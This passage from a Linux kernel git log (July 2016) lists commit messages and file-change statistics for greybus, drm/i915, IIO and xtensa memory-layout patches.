deletions(-) commit 6c298035a14d30e94861833df5c490feda2c73db Author: Johan Hovold Date: Thu Jul 28 11:40:52 2016 +0200 greybus: Documentation/sysfs: replace Ara references Refer to the MDK as GMP MDK. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 20de72f5dee480e72d82d702e709a07217c0900f Author: Vaibhav Hiremath Date: Thu Jul 28 13:56:44 2016 +0530 greybus: arche-apb-ctrl: Rename ara,init-disable => arche,init-disable Inline with other properties used for arche-platform driver, rename ara,init-disable => arche,init-disable. Testing Done: Boot tested on EVT2 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5b249600c1483976b0a7501ba25a8ba8b86672e1 Author: Chris Wilson Date: Wed Jul 27 19:32:29 2016 +0100 drm/i915: Fix up some stray to_i915(dev) after a recent merge The merge conflict resolution caused some dev->dev_private to return from the dead. Kill them with to_i915(). Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469644349-24571-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_sysfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 12c100bfa5d9103b6c4d43636fee09c31e75605a Author: Ville Syrjälä Date: Mon May 23 17:42:48 2016 +0300 drm/i915: Never fully mask the the EI up rps interrupt on SNB/IVB SNB (and IVB too I suppose) starts to misbehave if the GPU gets stuck in an infinite batch buffer loop. The GPU apparently hogs something critical and CPUs start to lose interrupts and whatnot. We can keep the system limping along by unmasking some interrupts in GEN6_PMINTRMSK. The EI up interrupt has been previously chosen for that task, so let's never mask it. v2: s/gen6_rps_pm_mask/gen6_sanitize_rps_pm_mask/ (Chris) Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=93122 Signed-off-by: Ville Syrjälä Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1464014568-4529-1-git-send-email-ville.syrjala@linux.intel.com Cc: stable@vger.kernel.org drivers/gpu/drm/i915/intel_pm.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 563c742adab959362aca106248b4ab24c4186217 Author: Gjorgji Rosikopulos Date: Wed Jul 27 11:47:01 2016 -0700 greybus: camera: Rename debug and metadata mbus formats Change ARA prefix to GB_CAM for greyus camera specific formats. Change-Id: I1a0552516e8ea727c48085c59fc49f2409a89486 Signed-off-by: Gjorgji Rosikopulos Signed-off-by: Blagovest Borisov Kolenichev Acked-by: Laurent Pinchart drivers/staging/greybus/camera.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9930ca1ae7e9fbf67e3a69239e9a39e80f4d9f60 Author: Chris Wilson Date: Wed Jul 27 09:07:30 2016 +0100 drm/i915: Update a couple of hangcheck comments to talk about engines We still have lots of comments that refer to the old ring when we mean struct intel_engine_cs and its hardware correspondence. This patch fixes an instance inside hangcheck to talk about engines. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-10-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469606850-28659-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_irq.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7e21d6484ded4aae2871f71e9bda0ed88ce6b43b Author: Chris Wilson Date: Wed Jul 27 09:07:29 2016 +0100 drm/i915: Remove stray intel_engine_cs ring identifiers from i915_gem.c A few places we use ring when referring to the struct intel_engine_cs. An anachronism we are pruning out. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-9-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469606850-28659-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit 6361f4ba468264e8203111c5d138c7123e72a5c2 Author: Chris Wilson Date: Wed Jul 27 09:07:28 2016 +0100 drm/i915: Avoid using intel_engine_cs *ring for GPU error capture Inside the error capture itself, we refer to not only the hardware engine, its ringbuffer but also the capture state. Finding clear names for each whilst avoiding mixing ring/intel_engine_cs is tricky. As a compromise we keep using ering for the error capture. v2: Use 'ee' locals for struct drm_i915_error_engine Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-8-git-send-email-chris@chris-wilson.co.uk Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469606850-28659-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 8 +- drivers/gpu/drm/i915/i915_gpu_error.c | 403 +++++++++++++++++----------------- 2 files changed, 208 insertions(+), 203 deletions(-) commit c80ff16e112bde543483cb779554ffde493988a5 Author: Chris Wilson Date: Wed Jul 27 09:07:27 2016 +0100 drm/i915: Use engine to refer to the user's BSD intel_engine_cs This patch transitions the execbuf engine selection away from using the ring nomenclature - though we still refer to the user's incoming selector as their user_ring_id. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-7-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469606850-28659-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 4 ++-- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 15 ++++++++------- 3 files changed, 11 insertions(+), 10 deletions(-) commit 33a051a5fc72c78a6770cb4f49b8932ae3587de9 Author: Chris Wilson Date: Wed Jul 27 09:07:26 2016 +0100 drm/i915/cmdparser: Remove stray intel_engine_cs *ring When we refer to intel_engine_cs, we want to use engine so as not to confuse ourselves about ringbuffers. v2: Rename all the functions as well, as well as a few more stray comments. v3: Split the really long error message strings Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-6-git-send-email-chris@chris-wilson.co.uk Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469606850-28659-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 74 ++++++++++++++++-------------- drivers/gpu/drm/i915/i915_drv.h | 23 +++++----- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 14 +++--- drivers/gpu/drm/i915/intel_engine_cs.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.h | 10 ++-- 7 files changed, 66 insertions(+), 61 deletions(-) commit 848496e5902833600f7992f4faa82dc1546051ba Author: Ville Syrjälä Date: Wed Jul 13 16:32:03 2016 +0300 drm/i915: Wait up to 3ms for the pcu to ack the cdclk change request on SKL Bspec tells us to keep bashing the PCU for up to 3ms when trying to inform it about an upcoming change in the cdclk frequency. Currently we only keep at it for 15*10usec (+ whatever delays gets added by the sandybridge_pcode_read() itself). Let's change the limit to 3ms. I decided to keep 10 usec delay per iteration for now, even though the spec doesn't really tell us to do that. Cc: stable@vger.kernel.org Fixes: 5d96d8afcfbb ("drm/i915/skl: Deinit/init the display at suspend/resume") Cc: David Weinehall Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468416723-23440-1-git-send-email-ville.syrjala@linux.intel.com Tested-by: David Weinehall Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_display.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit 9d3717f71c22c4f39723f18ed094c552f4b73146 Author: David Lin Date: Mon Jul 25 16:29:20 2016 -0700 greybus: audio: add runtime pm to enumerated control and DAPM widget There's an issue that the userspace is not able to control both the enumerated control and DAPM widget when audio bundle is in the SUSPEND state. This patch fixes the issue by adding pm_runtime_get/put() calls for the both controls. Testing Done: - Use tinymix to get and put both enumerated control and DAPM widget as the followings, and observe audio bundle is able to wake up from suspend. $ tinymix "GB 3 PB source" 1 $ tinymix "GB 3 PB source" GB 3 PB source: AIF1 >AIF2 $ tinymix "GB 3 AIF1_RX MUX" 2 $ tinymix "GB 3 AIF1_RX MUX" GB 3 AIF1_RX MUX: Stereo Left >Right Reported-by: Vaibhav Agarwal Signed-off-by: David Lin Reviewed-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 47 ++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) commit 7c4a0edb38ba734bd89efbda4262698a58839c26 Author: David Lin Date: Tue Jul 26 16:27:28 2016 -0700 greybus: svc_watchdog: Add sysfs file to change the behavior of bite Currently, AP performs unipro_reset if SVC fails to response to its ping. While this error recovery is best suited for the end-user experience, errors in the UniPro network could potentially go unnoticed by the QA and fishfooders in the development phase of the project. This patch adds an option to trigger a kernel panic so logs can be collected for analysis. Testing Done: - Reproduce issue and observe kernel panic when watchdob_control is changed to 'panic' Signed-off-by: David Lin Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 16 +++++++++++ drivers/staging/greybus/svc.c | 31 ++++++++++++++++++++++ drivers/staging/greybus/svc.h | 6 +++++ drivers/staging/greybus/svc_watchdog.c | 21 +++++++++------ 4 files changed, 66 insertions(+), 8 deletions(-) commit 6136cce89ca5d344d5183d36e887f0ff46896f1c Author: Viresh Kumar Date: Mon Jul 25 14:38:09 2016 -0700 greybus: firmware: Update Documentation and sample application Update documentation and sample application to capture the 'status' byte in backend version operation and new error types in backend firmware update operation. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../Documentation/firmware/firmware-management | 30 +++++++++++++---- .../greybus/Documentation/firmware/firmware.c | 39 ++++++++++++++++------ 2 files changed, 52 insertions(+), 17 deletions(-) commit 5e10f0047a1b79e6c8ac1ee0e9a0165e7d0bc7d6 Author: Viresh Kumar Date: Mon Jul 25 14:38:08 2016 -0700 greybus: firmware: Add 'status' byte to backend fw version response The backend processor may not be ready to return the version of firmware it is running by the time AP requests for it. The greybus specification is updated to return 1-byte 'status' to return the error type, RETRY is one of them. This patch implements that in greybus now. Note that the version structure was common across interface and backend version requests earlier, but that is changing as well. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 46 ++++++++++++++++++++++------- drivers/staging/greybus/greybus_firmware.h | 21 +++++++++++-- drivers/staging/greybus/greybus_protocols.h | 7 +++++ 3 files changed, 61 insertions(+), 13 deletions(-) commit 911415ae6ee29cb76e018e8df8715c743a3a3d63 Author: Viresh Kumar Date: Mon Jul 25 14:38:07 2016 -0700 greybus: firmware: Add new status types for backend updated request The specification got updated with two more status values, add their support in greybus. As retry isn't really an error, skip printing error messages for it as well. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-management.c | 3 ++- drivers/staging/greybus/greybus_protocols.h | 2 ++ 2 files changed, 4 insertions(+), 1 deletion(-) commit 0c543f9bb2dfa4239a601bff70e66020c2daec59 Author: Viresh Kumar Date: Tue Jul 26 13:41:04 2016 -0700 greybus: interface: Add quirk for no PM for S2 Loader S2 Loader doesn't support runtime PM operations currently and we will fail to suspend/resume the bundle for firmware management protocols. Once that happens, the bundle and its connections will be pretty much useless as we would have tried to disable/enable all connections during such an operation and the S2 loader doesn't expect the connections to go away during normal operation (except in the case of mode-switch). This patch defines a new quirk GB_INTERFACE_QUIRK_NO_PM and uses a new interface init status value (GB_INIT_S2_LOADER_INITIALIZED) which will be advertised by S2 Loader now in the init status. After detecting the currently running stage as S2 Loader, the kernel wouldn't attempt suspending or resuming the bundle. Reviewed-by: David Lin Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-core.c | 13 +++++++++---- drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/interface.c | 10 ++++++++++ drivers/staging/greybus/interface.h | 1 + 4 files changed, 21 insertions(+), 4 deletions(-) commit 47cbaf5e55a6906f404da06cab652cd19aa37537 Author: Viresh Kumar Date: Tue Jul 26 13:41:03 2016 -0700 greybus: interface: Rename *_NO_PM as *_NO_BUNDLE_ACTIVATE Its a special quirk just for the bootrom as it doesn't have any PM operations implemented. As the greybus bootrom bundle driver doesn't try to do any PM stuff, this quirk is used only to skip bundle activate operation currently. Rename the GB_INTERFACE_QUIRK_NO_PM quirk to GB_INTERFACE_QUIRK_NO_BUNDLE_ACTIVATE to suit its purpose better as the GB_INTERFACE_QUIRK_NO_PM will be used for other quirk now. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 2 +- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/interface.h | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit c57fbb404af28eda44d0590ede8812b889a89b8c Author: Viresh Kumar Date: Tue Jul 26 13:41:02 2016 -0700 greybus: firmware: Add runtime PM support This patch implements runtime PM support for firmware management bundle. This guarantees that the bundle will be active, while the AP or the Module is trying to exchange any operations over any of the CPorts. - Firmware Management CPort: Runtime PM get/put calls are placed around the ioctl calls, which are all implemented as blocking ioctls. - Component Authentication CPort: Runtime PM get/put calls are placed around the ioctl calls, which are all implemented as blocking ioctls. - SPI: Uses the interface provided by spilib.c and runtime PM get/put are called around connection usage. - firmware-download: This is the most tricky one. All operations on this CPort are initiated from the Module and not from the AP. And the AP needs to do runtime_pm_get() before any request is received over this CPort. The module doesn't send any request over this connection, unless the AP has requested the module over firmware management CPort to download a firmware package over firmware download CPort. And so the runtime PM get/put calls around the ioctls in fw-management.c are sufficient to handle the firmware management CPort as well. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/authentication.c | 10 ++++++++-- drivers/staging/greybus/fw-core.c | 31 ++++++++++++++++++++++++++++++- drivers/staging/greybus/fw-management.c | 10 ++++++++-- 3 files changed, 46 insertions(+), 5 deletions(-) commit 2321f049a93368fffc3375cfbf2f9f9561ef1e69 Author: Johan Hovold Date: Tue Jul 26 17:11:30 2016 +0200 greybus: operation: clean up request handler Clean up the incoming request handler somewhat by passing a properly aligned header and dropping the now redundant id and type parameters. Reviewed-by: Viresh Kumar Reviewed-by: Laurent Pinchart Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 112f563e1879ab73853fed9d875f45d96d5990fd Author: Johan Hovold Date: Tue Jul 26 17:11:29 2016 +0200 greybus: operation: fix broken response tracepoint The response-received tracepoint is currently broken. Instead of parsing the received message header it was tracing a bunch of zeroed fields from an uninitialised response buffer. Fix this by moving the tracepoint after were the response buffer is initialised. Fixes: 7cb496e6890e ("greybus: tracing: fix message traces") Reviewed-by: Viresh Kumar Reviewed-by: Bryan O'Donoghue Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit dfcba8626f55fe5d6ba6e2847178cbf629740773 Author: Johan Hovold Date: Tue Jul 26 17:11:28 2016 +0200 greybus: operation: fix broken response error messages The operation type included in the error message printed for malformed responses has never been correct. An uninitialised buffer was used to retrieve the type, resulting in the type always being reported as 0. Fix this by passing a properly aligned header to the response handler, and drop the now redundant id and result parameters. Fixes: cb0ef0c019ab ("operation: print message type on errors") Reviewed-by: Viresh Kumar Reviewed-by: Laurent Pinchart Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit f67cbce0f18299b70da776a5d699125b06523700 Author: Chris Wilson Date: Tue Jul 26 12:01:53 2016 +0100 drm/i915: Only drop the batch-pool's object reference The obj->batch_pool_link is only inspected when traversing the batch pool list and when on the batch pool list the object is referenced. Thus when freeing the batch pool list, we only need to unreference the object and do not have to worry about the obj->batch_pool_link. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-5-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469530913-17180-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_batch_pool.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit 15f7bbc7351da8a5568c75ac09f142da78077a1d Author: Chris Wilson Date: Tue Jul 26 12:01:52 2016 +0100 drm/i915: Only clear the client pointer when tearing down the file Upon release of the file (i.e. the user calls close(fd)), we decouple all objects from the client list so that we don't chase the dangling file_priv. As we always inspect file_priv first, we only need to nullify that pointer and can safely ignore the list_head. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-4-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469530913-17180-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 2a1d775201081c400d7e60ceb8e5ac887d11b1f7 Author: Chris Wilson Date: Tue Jul 26 12:01:51 2016 +0100 drm/i915: Prefer list_first_entry_or_null list_first_entry_or_null() can generate better code than using if (!list_empty()) {ptr = list_first_entry()) ..., so put it to use. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-3-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469530913-17180-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 12 +++++------- drivers/gpu/drm/i915/i915_gem_request.c | 8 +++----- drivers/gpu/drm/i915/i915_gem_shrinker.c | 9 +++++---- 3 files changed, 13 insertions(+), 16 deletions(-) commit 4a50d20e105a4a8e46a641e4779e9431e0aabc84 Author: Chris Wilson Date: Tue Jul 26 12:01:50 2016 +0100 drm/i915: Reduce breadcrumb lock coverage for intel_engine_enable_signaling() Since intel_engine_enable_signaling() is now only called via fence_enable_sw_signaling(), we can rely on it to provide serialisation and run-once for us and so make ourselves slightly simpler. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-2-git-send-email-chris@chris-wilson.co.uk Cc: Tvrtko Ursulin Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469530913-17180-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_breadcrumbs.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit d2b9448f96b566d19f4759afc0364c9d23634390 Author: Daniel Vetter Date: Mon Jul 25 08:00:19 2016 +0200 drm/i915: Update DRIVER_DATE to 20160725 Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3b8df5fd526e70e8c89e47e3fcb253b80f6192f6 Author: William Breathitt Gray Date: Tue Jul 12 09:33:14 2016 -0400 iio: Add IIO support for the Measurement Computing CIO-DAC family The Measurement Computing CIO-DAC is a family of 16-bit and 12-bit analog output devices. The analog outputs are from AD660BN/AD7237 converters with each output buffered by an OP-27. Voltage ranges are configured via physical jumpers on the device. This driver does not support the devices' simulataneous update mode; the XFER jumper option should be deselected for all analog output channels. This driver provides IIO support for the Measurement Computing CIO-DAC family: CIO-DAC16, CIO-DAC08, and PC104-DAC06. The base port addresses for the devices may be configured via the base array module parameter. Signed-off-by: William Breathitt Gray Signed-off-by: Jonathan Cameron MAINTAINERS | 6 ++ drivers/iio/dac/Kconfig | 9 +++ drivers/iio/dac/Makefile | 1 + drivers/iio/dac/cio-dac.c | 144 ++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 160 insertions(+) commit d02ec00d00a5eb5e0ca8ef6ddf0a3774adb52b6a Author: Alison Schofield Date: Mon Jul 18 12:34:17 2016 -0700 iio: adc: ad7298: use iio helper function to guarantee direct mode Replace the code that guarantees the device stays in direct mode with iio_device_claim_direct_mode() which does same. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/adc/ad7298.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit b4d46409d603ab041bcb1ac9858d076d29e78af8 Author: Alison Schofield Date: Mon Jul 18 12:35:24 2016 -0700 iio: adc: ad7793: use iio helper function to guarantee direct mode Replace the code that guarantees the device stays in direct mode with iio_device_claim_direct_mode() which does same. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/adc/ad7793.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 4d19c487555e8fe6e40f645c17e12cc30d4a18bf Author: Christophe Chapuis Date: Sun Jul 17 10:15:15 2016 +0200 iio: accel: kxcjk-1013: add the "KIOX000A" ACPI id On the Cube i9 tablet, the ACPI id for the Kionix kxcj9 accelerometer is "KIOX000A" (as can be seen in the DSDT of the Cube i9 tablet). It is the same accelerometer, so only adding the ACPI id is needed. Signed-off-by: Christophe Chapuis Reviewed-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron drivers/iio/accel/kxcjk-1013.c | 1 + 1 file changed, 1 insertion(+) commit b75b23bc59cda08c99050a9dc14acd43aac66afc Author: Alison Schofield Date: Fri Jul 15 19:28:47 2016 -0700 staging: iio: light: isl29018/28: remove I2C_CLASS_HWMON .class setting I2C_CLASS_HWMON is for a hardware monitoring chip wanting auto-detection. IIO drivers don't typically use .class. Remove it. Signed-off-by: Alison Schofield Cc: Daniel Baluta Acked-by: Laxman Dewangan Acked-by: Wolfram Sang Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29018.c | 1 - drivers/staging/iio/light/isl29028.c | 1 - 2 files changed, 2 deletions(-) commit f527a38ee764f57a86ceedfc105f425e56392db4 Author: Chris Wilson Date: Sun Jul 24 10:10:21 2016 +0100 drm/i915: Update the breadcrumb interrupt counter before enabling In order to close a race with a long running hangcheck comparing a stale interrupt counter with a just started waiter, we need to first bump the counter as we start the fresh wait. References: https://bugs.freedesktop.org/show_bug.cgi?id=96974 Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Reviewed-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1469351421-13493-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_breadcrumbs.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 2529d57050af51232fddbbe135fcc2a216182c5d Author: Chris Wilson Date: Sun Jul 24 10:10:20 2016 +0100 drm/i915: Drop racy markup of missed-irqs from idle-worker During the idle-worker we disable the hangcheck and so kick any waiters that should have been completed (since the GPU is now idle). Unlike the hangcheck, we do not take any care to avoid the race between the irq handler and ourselves, and so it is possible for us to declare a missed interrupt even as the bottom-half is being scheduled to run. Let's ignore this race to stop a potential false-positive error. References: https://bugs.freedesktop.org/show_bug.cgi?id=96974 Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Reviewed-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1469351421-13493-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 4e7c84ec045921dacc78d36295e2e61390249665 Author: Max Filippov Date: Tue Jul 19 00:37:05 2016 +0300 xtensa: support reserved-memory DT node This allows reserving regions of physical memory from the device tree. See Documentation/devicetree/bindings/reserved-memory/reserved-memory.txt for more details. Signed-off-by: Max Filippov arch/xtensa/Kconfig | 1 + arch/xtensa/mm/init.c | 2 ++ 2 files changed, 3 insertions(+) commit 0e46c1115f5816949220d62dd3ff04aa68e7ac6b Author: Max Filippov Date: Mon Apr 25 22:08:20 2016 +0300 xtensa: drop sysmem and switch to memblock Memblock is the standard kernel boot-time memory tracker/allocator. Use it instead of the custom sysmem allocator. This allows using kmemleak, CMA and device tree memory reservation. Signed-off-by: Max Filippov arch/xtensa/Kconfig | 3 + arch/xtensa/include/asm/sysmem.h | 21 +-- arch/xtensa/kernel/setup.c | 36 +++--- arch/xtensa/mm/init.c | 272 +++------------------------------------ 4 files changed, 40 insertions(+), 292 deletions(-) commit 3de00482b006daa110151ac6775adc52538a3d6a Author: Max Filippov Date: Sat Jul 23 02:47:58 2016 +0300 xtensa: minimize use of PLATFORM_DEFAULT_MEM_{ADDR,SIZE} Now that the kernel load address and KSEG physical base address have their own Kconfig symbols PLATFORM_DEFAULT_MEM seems redundant. It makes little sense to use it in MMU configurations instead of KSEG_PADDR. In noMMU configurations there's no explicit KSEG, so it's still useful for the early cache initialization and definition of ARCH_PFN_OFFSET, which affects mem_map size. - limit it to noMMU; MMU variants have XCHAL_KSEG_PADDR and XCHAL_KSEG_SIZE; - don't use it to define TASK_SIZE or MAX_LOW_PFN: first doesn't make any difference in noMMU, second is meaningless as there's no high memory; - don't add default physical memory region: memory layout should come from the DT, bootloader tags, or memmap= command line parameter. Signed-off-by: Max Filippov arch/xtensa/Kconfig | 18 +++++++----------- arch/xtensa/include/asm/page.h | 9 ++++----- arch/xtensa/include/asm/processor.h | 2 +- arch/xtensa/kernel/setup.c | 13 ------------- 4 files changed, 12 insertions(+), 30 deletions(-) commit a9f2fc628e3a26a829fd79aff74eb49839d1e74b Author: Max Filippov Date: Wed Apr 13 05:20:02 2016 +0300 xtensa: cleanup MMU setup and kernel layout macros Make kernel load address explicit, independent of the selected MMU configuration and configurable from Kconfig. Do not restrict it to the first 512MB of the physical address space. Cleanup kernel memory layout macros: - rename VECBASE_RESET_VADDR to VECBASE_VADDR, XC_VADDR to VECTOR_VADDR; - drop VIRTUAL_MEMORY_ADDRESS and LOAD_MEMORY_ADDRESS; - introduce PHYS_OFFSET and use it in __va and __pa definitions; - synchronize MMU/noMMU vectors, drop unused NMI vector; - replace hardcoded vectors offset of 0x3000 with Kconfig symbol. Signed-off-by: Max Filippov Documentation/xtensa/mmu.txt | 49 +++++++++++------------- arch/xtensa/Kconfig | 26 ++++++++++--- arch/xtensa/boot/boot-elf/boot.lds.S | 2 +- arch/xtensa/boot/boot-elf/bootstrap.S | 7 +++- arch/xtensa/boot/boot-uboot/Makefile | 10 +---- arch/xtensa/include/asm/initialize_mmu.h | 21 +++++----- arch/xtensa/include/asm/kmem_layout.h | 3 ++ arch/xtensa/include/asm/page.h | 8 +++- arch/xtensa/include/asm/vectors.h | 66 +++++++++++--------------------- arch/xtensa/kernel/entry.S | 5 ++- arch/xtensa/kernel/head.S | 2 +- arch/xtensa/kernel/vmlinux.lds.S | 4 -- 12 files changed, 98 insertions(+), 105 deletions(-) commit d39af90265feb40ec198c4ca8268724645b4b50e Author: Max Filippov Date: Mon Apr 11 21:14:17 2016 +0300 xtensa: add alternative kernel memory layouts MMUv3 is able to support low memory bigger than 128MB. Implement 256MB and 512MB KSEG layouts: - add Kconfig selector for KSEG layout; - add KSEG base address, size and alignment definitions to arch/xtensa/include/asm/kmem_layout.h; - use new definitions in TLB initialization; - add build time memory map consistency checks. See Documentation/xtensa/mmu.txt for the details of new memory layouts. Signed-off-by: Max Filippov Documentation/xtensa/mmu.txt | 124 +++++++++++++++++++++++++++++++ arch/xtensa/Kconfig | 44 +++++++++++ arch/xtensa/include/asm/fixmap.h | 5 ++ arch/xtensa/include/asm/highmem.h | 5 ++ arch/xtensa/include/asm/initialize_mmu.h | 23 ++++-- arch/xtensa/include/asm/kmem_layout.h | 46 ++++++++++++ arch/xtensa/include/asm/page.h | 6 +- arch/xtensa/include/uapi/asm/types.h | 3 +- arch/xtensa/mm/init.c | 3 +- 9 files changed, 249 insertions(+), 10 deletions(-) commit f1883aa7d63e3be92ad18da7a1bfc6c9b15c4f9a Author: Max Filippov Date: Mon Apr 11 21:07:30 2016 +0300 xtensa: move kernel mapping addresses into kmem_layout.h Create a header dedicated to memory layout definitions. Include it from places where these definitions are needed. Express vmalloc area address, VIRTUAL_MEMORY_ADDRESS and KERNELOFFSET through KSEG address. Signed-off-by: Max Filippov arch/xtensa/include/asm/kmem_layout.h | 25 +++++++++++++++++++++++++ arch/xtensa/include/asm/page.h | 10 +--------- arch/xtensa/include/asm/pgtable.h | 7 ++++--- arch/xtensa/include/asm/vectors.h | 5 +++-- arch/xtensa/mm/init.c | 2 +- 5 files changed, 34 insertions(+), 15 deletions(-) commit 12c8007dafbb7a9719d7beb04b79c9406c265f47 Author: Max Filippov Date: Mon Apr 25 04:06:37 2016 +0300 xtensa: fix __ffs result type Make __ffs result type unsigned long to match generic asm implementation. This fixes the following build warning: mm/nobootmem.c: In function '__free_pages_memory': include/linux/kernel.h:742:17: warning: comparison of distinct pointer types lacks a cast (void) (&_min1 == &_min2); \ ^ mm/nobootmem.c:100:11: note: in expansion of macro 'min' order = min(MAX_ORDER - 1UL, __ffs(start)); Signed-off-by: Max Filippov arch/xtensa/include/asm/bitops.h | 